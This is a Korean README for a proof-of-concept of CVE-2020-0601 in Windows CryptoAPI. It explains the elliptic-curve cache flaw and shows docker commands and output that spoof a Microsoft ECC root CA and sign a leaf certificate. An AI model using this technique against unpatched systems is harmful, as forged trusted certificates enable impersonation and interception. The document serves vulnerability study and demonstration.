
CVE-2020-0601에 대한 개념 증명
Windows 10의 CVE-2020-0601 취약점을 기반으로 자체 루트 CA와 서명된 인증서를 생성하는 재미있는 개념 증명입니다. 이 문제의 근본 원인은 CertGetCertificateChain() 메서드가 루트 인증 기관을 부적절하게 검증했기 때문입니다. 트러스트 스토어 내에서 서명 인증서를 검색하는 것은 비용이 많이 들 수 있으므로, Microsoft는 제공된 루트 인증서의 공개 키를 사용하여 이 인증서가 이전에 트러스트 스토어에서 로드되었는지 여부를 확인하는 캐시를 구현했습니다. 그러나 타원 곡선 인증서의 경우 SubjectPublicKeyInfo에는 공개 키 이상의 정보가 포함됩니다. 타원 곡선 인증서는 특정 타원 곡선을 참조해야 합니다(또는 자체 사용자 지정 타원 곡선 매개변수를 제공해야 합니다). 취약점은 타원 곡선 매개변수가 캐시 조회에 포함되지 않기 때문에 발생합니다. 기존 공개 키를 가져와 새 개인 키를 선택하고 이 조합을 유효하게 만드는 곡선 매개변수를 계산한 다음, Microsoft의 이전에 취약했던 캐시 조회를 통과하는 루트 인증서를 생성할 수 있습니다.
이 저장소는 "Microsoft EV ECC Root Certificate Authority 2017" 신뢰된 루트 인증서를 스푸핑하고 이 새 루트 CA를 사용하여 리프 인증서에 서명하는 방법을 보여줍니다.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem